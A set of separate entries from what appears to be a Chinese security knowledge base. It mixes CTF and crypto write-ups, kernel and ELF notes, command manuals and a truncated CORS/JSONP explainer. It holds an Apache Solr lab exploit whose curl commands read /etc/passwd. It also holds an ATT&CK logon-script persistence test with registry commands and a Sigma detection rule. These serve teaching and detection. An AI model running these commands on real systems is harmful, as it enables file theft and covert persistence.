[代理知识](端口转发/代理知识.md) * [渗透测试之代理](端口转发/渗透测试之代理.md) * [内网端口转发及穿透](端口转发/内网端口转发及穿透.md) * Windows渗透 * [Windows 入侵检测](Windows渗透/Windows%20入侵检测.md) * [Windows 入侵排查](Windows渗透/Windows%20入侵排查.md) * [Windows 渗透测试](Windows渗透/Windows%20渗透测试.md) * [Windows 应急响应](Windows渗透/Windows%20应急响应.md)
sec-knowleage
# Internet of fail - 400p, 10 solves > The machines are already here, lurking in your things. They've learned to fool humans > by speaking a strange language. Can you find their secret password? This is running > at http://iof.teaser.insomnihack.ch In this task we got a strange ELF file. Running `readelf -a iof.elf` on it gives us some basic information - it seems it's a binary for Tensilica Xtensa Processor - from some strings in the binary, we concluded it's ESP32 chip (a pretty new successor to popular ESP8266). Unfortunately, this being a very unpopular architecture, there were almost no tools we could use for analysis - IDA does not support Xtensa out of the box, and even adding some plugins we found on the Internet didn't help (apparently they were meant for reversing original Espressif chips). In the end, we used good old radare2. It turned out the task was pretty challenging - although ELF mentioned entry point, it was far away from the actual `main` of the application. We were also stumped by some calls to memory that didn't exist in the ELF - it turns out ESP32 maps ROM in here. This gave us an idea to google some of the called functions' addresses - and we found [this little gem.](https://raw.githubusercontent.com/espressif/esp-idf/master/components/esp32/ld/esp32.rom.ld) It contains entries of the form `function - address`, which significantly helped in initial reversing. Still, we had to get through the RTOS boilerplate code - it didn't even call the main function directly, but rather created a new task running it. In the end, we found some public ESP32 HTTP [server code.](https://github.com/feelfreelinux/myesp32tests/blob/master/examples/http_server.c) It seemed to match most of the code nicely, with only slight modifications. The only sinificant difference was in the `serve` function, which contained code responsible for checking the password. It called around 20 of different functions, each of which had a similar form: ``` if(condition(password)){ g_state^=CONST; } ``` The conditions were somewhat annoying to reverse, not having access to anything more than assembly, we had to analyze them by hand. They used various techniques, including, but not limited to, multiplication, division, summing of MAC address bytes, xoring, etc. After running all the functions, the `g_state` variable was compared to `0xffff`. We brute forced all the possible subsets of conditions that yielded that result, and filtered those that didn't make sense (such as `s[3]&17 == 104`). In the end, combining all the conditions using pen and paper, we got the final password, which worked on the challenge website: `G0t_yoU_xt3ns4!`
sec-knowleage
# 内部隔离 ## 堆块隔离 ### GFP\_KERNEL & GFP\_KERNEL\_ACCOUNT 的隔离 `GFP_KERNEL` 与 `GFP_KERNEL_ACCOUNT` 是内核中最为常见与通用的分配 flag,常规情况下他们的分配都来自同一个 `kmem_cache` ——即通用的 `kmalloc-xx`。 在 5.9 版本之前`GFP_KERNEL` 与 `GFP_KERNEL_ACCOUNT` 存在隔离机制,在 [这个 commit](https://github.com/torvalds/linux/commit/10befea91b61c4e2c2d1df06a2e978d182fcf792) 中取消了隔离机制,自内核版本 5.14 起,在 [这个 commit](https://github.com/torvalds/linux/commit/494c1dfe855ec1f70f89552fce5eadf4a1717552) 当中又重新引入: - 对于开启了 `CONFIG_MEMCG_KMEM` 编译选项的 kernel 而言(默认开启),其会为使用 `GFP_KERNEL_ACCOUNT` 进行分配的通用对象**创建一组独立的 `kmem_cache` ——名为 `kmalloc-cg-*`** ,从而导致使用这两种 flag 的 object 之间的隔离。 ### SLAB_ACCOUNT 根据描述,如果在使用 `kmem_cache_create` 创建一个 cache 时,传递了 `SLAB_ACCOUNT` 标记,那么这个 cache 就会单独存在,不会与其它相同大小的 cache 合并。 ``` Currently, if we want to account all objects of a particular kmem cache, we have to pass __GFP_ACCOUNT to each kmem_cache_alloc call, which is inconvenient. This patch introduces SLAB_ACCOUNT flag which if passed to kmem_cache_create will force accounting for every allocation from this cache even if __GFP_ACCOUNT is not passed. This patch does not make any of the existing caches use this flag - it will be done later in the series. Note, a cache with SLAB_ACCOUNT cannot be merged with a cache w/o SLAB_ACCOUNT, i.e. using this flag will probably reduce the number of merged slabs even if kmem accounting is not used (only compiled in). ``` 在早期,许多结构体(如 **cred 结构体**)对应的堆块并不单独存在,会和相同大小的堆块使用相同的 cache。在 Linux 4.5 版本引入了这个 flag 后,许多结构体就单独使用了自己的 cache。然而,根据上面的描述,这一特性似乎最初并不是为了安全性引入的。 ``` Mark those kmem allocations that are known to be easily triggered from userspace as __GFP_ACCOUNT/SLAB_ACCOUNT, which makes them accounted to memcg. For the list, see below: - threadinfo - task_struct - task_delay_info - pid - cred - mm_struct - vm_area_struct and vm_region (nommu) - anon_vma and anon_vma_chain - signal_struct - sighand_struct - fs_struct - files_struct - fdtable and fdtable->full_fds_bits - dentry and external_name - inode for all filesystems. This is the most tedious part, because most filesystems overwrite the alloc_inode method. The list is far from complete, so feel free to add more objects. Nevertheless, it should be close to "account everything" approach and keep most workloads within bounds. Malevolent users will be able to breach the limit, but this was possible even with the former "account everything" approach (simply because it did not account everything in fact). ``` ### 参考 - https://lore.kernel.org/patchwork/patch/616610/ - https://github.com/torvalds/linux/commit/5d097056c9a017a3b720849efb5432f37acabbac#diff-3cb5667a88a24e8d5abc7042f5c4193698d6b962157f637f9729e61198eec63a - https://github.com/torvalds/linux/commit/230e9fc2860450fbb1f33bdcf9093d92d7d91f5b#diff-cc9aa90e094e6e0f47bd7300db4f33cf4366b98b55d8753744f31eb69c691016 - https://github.com/torvalds/linux/commit/10befea91b61c4e2c2d1df06a2e978d182fcf792 - https://github.com/torvalds/linux/commit/494c1dfe855ec1f70f89552fce5eadf4a1717552
sec-knowleage
xz === POSIX 平台开发具有高压缩率的工具 ## 补充说明 **xz命令** XZ Utils 是为 POSIX 平台开发具有高压缩率的工具。它使用 LZMA2 压缩算法,生成的压缩文件比 POSIX 平台传统使用的 gzip、bzip2 生成的压缩文件更小,而且解压缩速度也很快。最初 XZ Utils 的是基于 LZMA-SDK 开发,但是 LZMA-SDK 包含了一些 WINDOWS 平台的特性,所以 XZ Utils 为以适应 POSIX 平台作了大幅的修改。XZ Utils 的出现也是为了取代 POSIX 系统中旧的 LZMA Utils。 ### 语法 ```shell xz(选项)(参数) xz [OPTION]... [FILE]... ``` ### 选项 ```shell -z, --compress # 强制压缩 -d, --decompress, --uncompress # force decompression -t, --test # 测试压缩文件的完整性 -l, --list # 列出有关.xz文件的信息 -k, --keep # 保留(不要删除)输入文件 -f, --force # 强制覆盖输出文件和(解)压缩链接 -c, --stdout, --to-stdout # 写入标准输出,不要删除输入文件 -0 ... -9 # 压缩预设; 默认为6; 取压缩机*和* # 使用7-9之前解压缩内存使用量考虑在内! -e, --extreme # 尝试通过使用更多的CPU时间来提高压缩比; # 要求不影响解压缩存储器 -T, --threads=NUM # 最多使用NUM个线程; 默认值为1; set to 0 # 设置为0,使用与处理器内核一样多的线程 -q, --quiet # 抑制警告; 指定两次以抑制错误 -v, --verbose # 冗长; 指定两次更详细 -h, --help # 显示这个简洁的帮助并退出 -H, --long-help # 显示更多帮助(还列出了高级选项) -V, --version # 显示版本号并退出 ``` ### 参数 * 源文件:指定连接的源文件。 * 目标文件:指定源文件的目标连接文件。 ### 实例 压缩一个文件 test.txt,压缩成功后生成 test.txt.xz, 原文件会被删除。 ```shell $ xz test.txt $ ls test.txt* test.txt.xz ``` 解压 test.txt.xz 文件,并使用参数 -k 保持原文件不被删除 ```shell $ xz -d -k test.txt.xz $ ls test.txt* test.txt.xz test.txt ``` 使用参数 -l 显示 .xz 文件的基本信息。基本信息包括压缩率、数据完整性验证方式等。也可以和参数 -v 或 -vv 配合显示更详尽的信息。 ```shell xz -l index.txt.xz # Strms Blocks Compressed Uncompressed Ratio Check Filename # 1 1 768 B 1,240 B 0.619 CRC64 index.txt. ``` 使用参数 -0, -1, -2, … -6, … -9 或参数 --fast, --best 设定压缩率。xz 命令的默认为 -6 ,对于大多数系统来说,甚至是一些较旧的系统,-4 … -6 压缩率预设值都不错的表现。 ```shell $ xz -k7 xz_pipe_decomp_mini.c $ xz -k --fast xz_pipe_decomp_mini.c ``` 使用参数 -H 显示 xz 命令所有 options. 参数 -H 比使用参数 --help 显示的内容更详细。 ```shell $ xz -H | more ``` 借助 xargs 命令并行压缩多文件。下面的命令行可以将 /var/log 目录下所有的扩展名为 .log 的文件压缩。通过 xargs 命令同时运行多个 xz 进行压缩。 ```shell # 运行此命令须有 root 权限。 find /var/log -type f -iname "*.log" -print0 | xargs -P4 -n16 xz -T1 ```
sec-knowleage
less === 分屏上下翻页浏览文件内容 ## 补充说明 **less命令** 的作用与more十分相似,都可以用来浏览文字档案的内容,不同的是less命令允许用户向前或向后浏览文件,而more命令只能向前浏览。用less命令显示文件时,用PageUp键向上翻页,用PageDown键向下翻页。要退出less程序,应按Q键。 ### 语法 ```shell less(选项)(参数) ``` ### 选项 ```shell -e:文件内容显示完毕后,自动退出; -f:强制显示文件; -g:不加亮显示搜索到的所有关键词,仅显示当前显示的关键字,以提高显示速度; -l:搜索时忽略大小写的差异; -N:每一行行首显示行号; -s:将连续多个空行压缩成一行显示; -S:在单行显示较长的内容,而不换行显示; -x<数字>:将TAB字符显示为指定个数的空格字符。 ``` ### 参数 文件:指定要分屏显示内容的文件。 ## 实例 ```shell sudo less /var/log/shadowsocks.log /字符串:向下搜索"字符串"的功能 ?字符串:向上搜索"字符串"的功能 n:继续向后搜索 N:向前搜索 b: 向后翻一页 d: 向后翻半页 u: 向前滚动半页 y: 向前滚动一行 Q: 退出less 命令 空格键: 滚动一页 回车键: 滚动一行 [pagedown]: 向下翻动一页 [pageup]: 向上翻动一页 G: 移动到最后一行 g: 移动到第一行 ```
sec-knowleage
--- title: Postman date: 2022-11-23 16:23:31.703572 background: bg-[#cf5e3c] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 23 keyboard shortcuts found in Postman --- Keyboard Shortcuts ------------------ ### Navigational Shortcuts Shortcut | Action ---|--- `Ctrl` `Alt` `1` | Focus Sidebar `Ctrl` `Alt` `2` | Focus Builder `Ctrl` `#` | Focus on #th tab `Ctrl` `Shift` `/` | Switch between tabs `Down` | Move to next item `Up` | Move to previous item `Right` | Expand collection/folder `Left` | Collapse collection/folder `Shift` `Down` | Select current AND next item `Shift` `Up` | Select current AND previous item `Ctrl` `F` | Search sidebar `Enter` | Open request in a tab {.shortcuts} ### Manipulation Shortcuts Shortcut | Action ---|--- `Ctrl` `C` | Copy `Ctrl` `V` | Paste `Delete` | Delete `Ctrl` `D` | Duplicate `Ctrl` `E` | Edit/Rename {.shortcuts} ### Global Shortcuts Shortcut | Action ---|--- `Ctrl` `S` | Save `Ctrl` `Shift` `S` | Save As `Ctrl` `Enter` | Send Request `Ctrl` `\` | Toggle Sidebar `Ctrl` `L` | Jump to URL `Ctrl` `Alt` `C` | Open Console {.shortcuts} Also see -------- - [Keyboard shortcuts for Postman](https://learning.getpostman.com/docs/postman/launching_postman/keyboard_shortcuts/) _(learning.getpostman.com)_
sec-knowleage
from django.db import models # Create your models here. class Collection(models.Model): name = models.CharField(max_length=128)
sec-knowleage
--- title: 查看帮助信息 --- ## 使用 help 命令查看帮助信息 在 CF 中,可以使用 help 命令查看其他命令的帮助信息。 例如查看阿里云 ECS 命令的帮助信息。 ```bash cf help alibaba ecs ``` > 使用 `cf alibaba ecs help` 也是一样的效果 查看`alibaba ecs exec` 命令的帮助信息 ```bash cf help alibaba ecs exec ``` ## 使用 `-h` 参数查看帮助信息 在 CF 的任何命令后面,使用 `-h` 或者 `--help` 也可以查看帮助信息。 例如查看阿里云 `ecs` 命令的帮助信息。 ```bash cf alibaba ecs -h ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年9月7日" } } </script>
sec-knowleage
# Apache Solr RemoteStreaming Arbitrary File Reading and SSRF [中文版本(Chinese version)](README.zh-cn.md) Apache Solr is an open source search server. When Apache Solr does not enable authentication, an attacker can directly craft a request to enable a specific configuration, and eventually cause SSRF or arbitrary file reading. References: - https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ ## Vulnerability environment Execute following commands to start a Apache Solr 8.8.1: ``` docker compose up -d ``` After the environment is started, browser `http://your-ip:8983` to view the Apache Solr. ## Exploit First, visit `http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json` to extract the database name: ![](1.png) Send the following request, modify the configuration of the database `demo` to enable `RemoteStreaming`: ``` curl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \ $'http://your-ip:8983/solr/demo/config' ``` ![](2.png) Then read arbitrary file through `stream.url`: ``` curl -i -s -k'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd' ``` ![](3.png)
sec-knowleage
dpkg-trigger === Debian Linux下的软件包触发器 ## 补充说明 **dpkg-trigger命令** 是Debian Linux下的软件包触发器。 ### 语法 ```shell dpkg-trigger(选项)(参数) ``` ### 选项 ```shell --check-supported:检查运行的dpkg是否支持触发器,返回值为0,则支持触发器。 --help:显示帮助信息; --admindir=<目录>:设置dpkg数据库所在的目录; --no-act:仅用于测试,不执行任何操作; --by-package=<软件包>:覆盖触发器等待者。 ``` ### 参数 触发器名:指定触发器名称。
sec-knowleage
# Badchair (crypto) In this challenge we get data secured via Shamir Secret Sharing scheme: ``` {"threshold": 5, "split": ["jUEumBCZY6GRlXbB/uobM53gis/RldnMAfBAnkg=", "e3WhwYy6YUQGedMXkGnxJO6v0ov4cgteapL17wI="], "shares": 9} {"threshold": 5, "split": ["mrygQzFoasgDY23te4MGqTFXjpS/pMalQiN9Sks=", "XjpXSuBzyfRAbKj7hODzcf0cv0NZsXQDEQiIdtA="], "shares": 9} {"threshold": 5, "split": ["U64tceO4Ddtr4V6FMXSTJre4f6t4nPczWgtIkfo=", "t3hrQmsqonoBCl7T4f3bLqMShchtOtF3WesMGEs="], "shares": 9} {"threshold": 5, "split": ["TcOzpm1jNtwsj0cdiLfd6oVHLGMMKRt52t9kU4E=", "RqJ1WKlufadMFwFLbIjvBs82BH/yP8CAT6kyv3M="], "shares": 9} ``` The important part of the code is: ```python class KeySplitter: def __init__(self, numshares, threshold): self.splitter = Shamir(numshares, threshold) self.numshares = numshares self.threshold = threshold def split(self, key): xshares = [''] * self.numshares yshares = [''] * self.numshares for char in key: xcords, ycords = self.splitter.split(ord(char)) for idx in range(self.numshares): xshares[idx] += chr(xcords[idx]) yshares[idx] += chr(ycords[idx]) return zip(xshares, yshares) def jsonify(self, shares, threshold, split): data = { 'shares': shares, 'threshold': threshold, 'split': [ base64.b64encode(split[0]), base64.b64encode(split[1]) ] } return json.dumps(data) if __name__ == "__main__": splitter = KeySplitter(9, 5) splits = splitter.split(FLAG) for i in range(0, 4): print splitter.jsonify(9, 5, splits[i]) ``` So we know that the flag is encrypted one char at a time. The last piece of the puzzle is the fact that `Shamir` object is created only once here, and therefore the polynomial is chosen only once. For those unfamiliar with SSS, the algorithm is pretty simple: 1. We have some secret value X we want to encrypt in such a way, that it can be decrypted only if a certain number of people combine their "shares". Facebook uses this for example to enable recovering a lost account. You can provide your friends with some "shares", and each of the shares is not enough to recover the password, but multiple shares together can. You can give more shares to some people if you want, as long as it's not enough to decrypt the data with a single batch. 2. Technically this is done by polynomial interpolation. A random polynomial of order N is created and the secret value is placed as term of degree 0. Each of the shares is simply a random point on this polynomial. For polynomial of order 1 (linear function) you need 2 points to recover the polynomial, by solving a linear equation. At the same time there is an infinite number of such polynomials passing only through a single point. This scales up - there is always only a single polynomial of order N passing through N+1 points, but if we've got less points, it's impossible to find the right polynomial. What we have in this task are some shares, so points on the polynomial for each of the flag letters. The vulnerability is the fact that there is only one polynomial used for all of the letters (except the term of order 0). If we can find this polynomial we can brute-force the flag character by character, because we can just create a polynomial with a random letter as term of order 0 and then check if all the points we have are on the courve or not. If they are, then we've got the right polynomial and we guessed the letter correctly. In order to recover the polynomial coefficients we can notice that the flag format is `midnight{...}` which means it has 2 letters `i`! And since the polynomial is always the same, we actually got double the number of points for letter `i`, and this is actually enough to interpolate the polynomial! First we parse the input files: ```python def recover_splits(input_file_data): splits = [] for (s0, s1) in re.findall('"split": \["(.*?)", "(.*?)"\]', input_file_data): splits.append((base64.b64decode(s0), (base64.b64decode(s1)))) return splits def recover_points_per_key_character(data): splits = recover_splits(data) points_per_char = [] for point_id in range(len(splits[0][0])): points = [] for idx in range(numshares): split = splits[idx] points.append((ord(split[0][point_id]), ord(split[1][point_id]))) points_per_char.append(points) return points_per_char ``` And for this we get list of points per single flag character. Now we get the points for `i` letters in flag format: ``` [(65, 117), (188, 58), (174, 120), (195, 162)] [(16, 140), (49, 224), (227, 107), (109, 169)] ``` We can now interpolate those in `GF(2^8)` because this is where all the operations are taking place here and from this we get a polynomial `31x^4+173x^3+111x^2+219x+105` which makes sense, because `chr(105) == 'i'` as expected. Now we can proceed to brute-force rest of the flag: ```python def main(): result = "" with codecs.open("shares.txt") as input_data: points_per_character = recover_points_per_key_character(input_data.read()) print("\n".join(map(str, points_per_character))) for points_for_single_char in points_per_character: for c in string.printable: # 31x^4+173x^3+111x^2+219x+C p = Polynomial( [IntegerInRing(ord(c)), IntegerInRing(219), IntegerInRing(111), IntegerInRing(173), IntegerInRing(31)]) failed = False for x,y in points_for_single_char: if p(IntegerInRing(x)).value != y: failed = True break if not failed: result += c print(result) ``` And we get `midnight{ehhh_n0t_3ven_cl0se}`
sec-knowleage
### 程序加载概述 程序加载过程其实就是系统创建或者扩充进程镜像的过程。它只是按照一定的规则把文件的段拷贝到虚拟内存段中。进程只有在执行的过程中使用了对应的逻辑页面时,才会申请相应的物理页面。通常来说,一个进程中有很多页是没有被引用的。因此,延迟物理读写可以提高系统的性能。为了达到这样的效率,可执行文件以及共享目标文件所拥有的段的文件偏移以及虚拟地址必须是合适的,也就是说他们必须是页大小的整数倍。 在 Intel 架构中,虚拟地址以及文件偏移必须是 4KB(或者更大的数且为 2 的整数幂次)的整数倍。 在这个例子中,尽管代码段和数据段在模4KB的意义下相等,但是仍然最多有4个页面包含有不纯的代码或者数据。当然,实际中会取决于页大小或者文件系统的块大小。 - 代码段的第一个页包含了ELF头,程序头部表,以及其他信息。 - 代码段的最后一页包含了数据段开始部分的副本。 - 数据段的最后一页包含了代码段的最后部分的副本。至于多少,暂未说明。 - 数据段的最后一部分可能会包含与程序运行无关的信息。 逻辑上说,系统会对强制控制内存的权限,就好比每一个段的权限都是完全独立的;段的地址会被调整,以便于确保内存中的每一个逻辑页都只有一组类型的权限。在上面给出的例子中,文件的代码段的最后一部分和数据段的开始部分都会被映射两次:分别在数据段的虚拟地址以及代码段的虚拟地址。 数据段的结尾需要好好处理没有被初始化的数据,一般来说,系统要求它们以0开始。因此,如果一个文件的最后一页包含不在逻辑页中的信息,那么剩下的数据必须被初始化为0。剩下的三个页中的杂质数据在逻辑上说并不是进程镜像的一部分,系统可以选择删除它们。该文件对应的虚拟内存镜像如下(假设每一页大小为4KB) 在加载段时,可执行文件与共享目标文件有所区别。可执行文件通常来说包含绝对代码。为了能够使得程序正确执行,每一个段应该在用于构建可执行文件的虚拟地址处。因此,系统直接使用p_vaddr作为虚拟地址。 另一方面,共享目标文件通常包含地址独立代码。这使得在不同的进程中,同一段的虚拟地址可能会有所不同,但这并不会影响程序的执行行为。尽管系统会为不同的进程选择不同的虚拟地址,但是它仍旧维持了段的相对地址。因为地址独立代码在不同的段中使用相对地址,因此在虚拟内存中的虚拟地址之间的差肯定和在文件中的相应的虚拟地址的差相同。下面给出了可能的对于同一共享目标文件不同进程的情况,描述了相对地址寻址,此外这个表还给出了基地址的计算方法。
sec-knowleage
# 认证相关 本章整理一些安全运营学习过程中,相关认证的学习笔记。 - 阿里云云安全专业认证考试(Alibaba Cloud Certified Professional,ACP) - 信息系统安全专业认证(Certification for Information System Security Professional,CISSP) - 进攻性安全认证专家考试(Offensive Security Certified Professional, OSCP)
sec-knowleage
# T1037-001-win-Boot或logon初始化脚本-登录脚本 ## 来自ATT&CK描述 攻击者可以利用在登录初始化时自动执行的Windows登录脚本来建立持久性。Windows允许在特定用户或用户组登录系统时运行登录脚本。这可以通过在HKU\*\Environment\UserInitMprLogonScript注册表键中添加脚本路径来实现。 攻击者可以使用这些脚本来维持单一系统的持久性。根据登录脚本的访问配置,可能需要本地凭证或管理员账户。 ## 测试案例 ### 测试1 Logon Scripts 添加一个注册表值来运行在%temp%目录下创建的批处理脚本。执行后,在HKCU\Environment键中会有一个新的环境变量,可以在注册表编辑器中查看。 攻击命令,用命令提示符运行: ``` echo "#{script_command}" > #{script_path} REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "#{script_path}" /f ``` 清理命令: ``` REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f >nul 2>&1 del #{script_path} >nul 2>&1 del "%USERPROFILE%\desktop\T1037.001-log.txt" >nul 2>&1 ``` ## 检测日志 Windows Sysmon日志 ## 测试复现 ### 测试1 Logon Scripts ``` C:\Users\Administrator.ZHULI\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1037.001>echo Art "Logon Script" atomic test was successful. >> %USERPROFILE%\desktop\T1037.001-log.txt C:\Users\Administrator.ZHULI\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1037.001>REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator.ZHULI\Desktop\TevoraAutomatedRTGui\T1037.001-log.txt" /f 操作成功完成。 ``` ## 测试留痕 ### 测试1 Logon Scripts Windows sysmon日志 ```事件ID:1 Process Create: RuleName: technique_id=T1112,technique_name=Modify Registry UtcTime: 2022-01-10 09:32:09.002 ProcessGuid: {78c84c47-fd19-61db-b511-000000000800} ProcessId: 7112 Image: C:\Windows\System32\reg.exe FileVersion: 10.0.17763.1 (WinBuild.160101.0800) Description: Registry Console Tool Product: Microsoft® Operating System Company: Microsoft Corporation OriginalFileName: reg.exe CommandLine: REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator.ZHULI\Desktop\TevoraAutomatedRTGui\T1037.001-log.txt" /f CurrentDirectory: C:\Users\Administrator.ZHULI\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1037.001\ User: ZHULI\Administrator LogonGuid: {78c84c47-f665-61db-95da-440100000000} LogonId: 0x144DA95 TerminalSessionId: 3 IntegrityLevel: High Hashes: SHA1=429DF8371B437209D79DC97978C33157D1A71C4B,MD5=8A93ACAC33151793F8D52000071C0B06,SHA256=19316D4266D0B776D9B2A05D5903D8CBC8F0EA1520E9C2A7E6D5960B6FA4DCAF,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC ParentProcessGuid: {78c84c47-fc8c-61db-9c11-000000000800} ParentProcessId: 2512 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" ParentUser: ZHULI\Administrator Sysmon事件ID:13 Registry value set: RuleName: UACMe Dir Prep EventType: SetValue UtcTime: 2022-01-10 09:32:09.003 ProcessGuid: {78c84c47-fd19-61db-b511-000000000800} ProcessId: 7112 Image: C:\Windows\system32\reg.exe TargetObject: HKU\S-1-5-21-2729552704-1545692732-1695105048-500\Environment\UserInitMprLogonScript Details: C:\Users\Administrator.ZHULI\Desktop\TevoraAutomatedRTGui\T1037.001-log.txt User: ZHULI\Administrator ``` ## 检测规则/思路 ### sigma规则 ```yml title: window主机使用登录脚本进行持久化 description: 添加一个注册表值来运行在%temp%目录下创建的批处理脚本。执行后,在HKCU\Environment键中会有一个新的环境变量,可以在注册表编辑器中查看。 author: 12306Br0 date: 2021/01/10 references: - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1037.001/T1037.001.md tags: - attack.t1037-001 logsource: product: windows service: sysmon detection: selection: EventID: 13 Image: '*\reg.exe' TargetObject: 'HKU\*\Environment\UserInitMprLogonScript' condition: selection level: high ``` ### 建议 监测与Windows登录脚本相关的注册表值的变化,特别是HKU\Environment\UserInitMprLogonScript。 监测运行中的进程,以发现可能表明登录时运行的异常程序或可执行文件的行为。 ## 参考推荐 MITRE-ATT&CK-T1037-001 <https://attack.mitre.org/techniques/T1037/001> Atomic-red-team-T1037-001 <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1037.001/T1037.001.md>
sec-knowleage
from library import * import sys n = int(sys.argv[2]) inputs = np.zeros((n, 16), dtype=np.uint8) for i in range(n): while True: inp = np.array([random.randint(0, 255) for _ in range(16)]) if ord("\n") not in inp: break inputs[i] = inp collect(sys.argv[1], inputs)
sec-knowleage
MIT License Copyright (c) 2017 trimstray Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
sec-knowleage
# JavaScript 跨域方法 # ------------------------------------------------------------------------------------------------------------- 跨域并非浏览器限制了发起跨站请求,而是跨站请求可以正常发起,但是返回结果被浏览器拦截了。注意:有些浏览器不允许从HTTPS的域跨域访问HTTP,比如Chrome和Firefox,这些浏览器在请求还未发出的时候就会拦截请求,这是一个特例。 ## 一、 JSONP ### JSONP(JSON with Padding)技术实际和Ajax没有关系。我们知道&lt;script&gt;标签可以加载跨域的javascript脚本,并且被加载的脚本和当前文档属于同一个域。因此在文档中可以调用/访问脚本中的数据和函数。如果javascript脚本中的数据是动态生成的,那么只要在文档中动态创建&lt;script&gt;标签就可以实现和服务端的数据交互。 JSONP就是利用&lt;script&gt;标签的跨域能力实现跨域数据的访问,请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。其中callback函数是本地文档的JavaScript函数,服务器端动态生成的脚本会产生数据,并在代码中以产生的数据为参数调用callback函数。当这段脚本加载到本地文档时,callback 函数就被调用。 举例:在abc.com 有这么一段 `<script src="http://www.xyz.com/sample.aspx?callback=mycallback"></script>` 在 xyz.com 的 sample.aspx 可能是如下实现的: ``` php <?php header('Content-Type:text/html;charset=utf-8'); $callback = $_GET['callback']; $data = "{foo: 'bar'}"; echo $callback . "(" . $data . ");"; ?> ``` src 标签请求返回即 `<script> mycallback({foo: 'bar'});</script>` 也就是会执行函数mycallback,这里需要明确的是mycallback 肯定是在 abc.com 上实现的,把 {foo: 'bar' } 作为参数传递,以便下一步操作。callback只是个key,也可以写成jsonp,当然server获取的key也得变换。 为了支持JSONP协议,服务器端必须提供特别的支持,另外JSONP只支持GET请求。JQuery 中封装了这一操作,使用 method:'jsonp' 即可获取到数据。 ## 二、CORS ## > Cross-origin resource sharing (CORS) is a mechanism that allows a web page to make XMLHttpRequests to another domain. Such "cross-domain" requests would otherwise be forbidden by web browsers, per the same origin security policy. CORS defines a way in which the browser and the server can interact to determine whether or not to allow the cross-origin request. It is more powerful than only allowing same-origin requests, but it is more secure than simply allowing all such cross-origin requests. --Wikipedia 通过在HTTP Header中加入扩展字段,服务器在相应网页头部加入字段表示允许访问的domain和HTTP method,客户端检查自己的域是否在允许列表中,决定是否处理响应。实现的基础是JavaScript不能够操作HTTP Header,某些浏览器插件实际上是具有这个能力的。 服务器端在HTTP的响应头中加入(页面层次的控制模式): Access-Control-Allow-Origin: http://example.com Access-Control-Request-Method: GET, POST Access-Control-Allow-Headers: Content-Type, Authorization, Accept, Range, Origin Access-Control-Expose-Headers: Content-Range Access-Control-Max-Age: 3600 多个域名之间用逗号分隔,表示对所示域名提供跨域访问权限。"*" 表示允许所有域名的跨域访问。 客户端可以有两种行为: * 发送OPTIONS请求,请求Access-Control信息。如果自己的域名在允许的访问列表中,则发送真正的请求,否则放弃请求发送。 [请求预检](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS) * 直接发送请求,然后检查response的Access-Control信息,如果自己的域名在允许的访问列表中,则读取response body,否则放弃。 本质上服务端的response内容已经到达本地,JavaScript决定是否要去读取。 假设一个站点提供api 供跨域调用,那么兼顾方便与安全的设置应该是: 将Access-Control-Allow-Origin: *,但Access-Control-Allow-Credentials为false。这是因为,CORS配置不当类风险,危害通常为泄露用户敏感数据,此类接口通常需要鉴权。Access-Control-Allow-Credentials为false后,用户登录态将不会随CORS请求发送,进而降低了此类风险。 ### 跨域cookies相关 ``` GET /resources/credentialed-content/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Connection: keep-alive Referer: https://foo.example/examples/credential.html Origin: https://foo.example Cookie: pageAccess=2 HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:34:52 GMT Server: Apache/2 Access-Control-Allow-Origin: https://foo.example Access-Control-Allow-Credentials: true Cache-Control: no-cache Pragma: no-cache Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT Vary: Accept-Encoding, Origin Content-Encoding: gzip Content-Length: 106 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/plain [text/plain payload] ``` 即使第 10 行指定了 Cookie 的相关信息,但是,如果 https://bar.other 的响应中缺失 Access-Control-Allow-Credentials: true(第 17 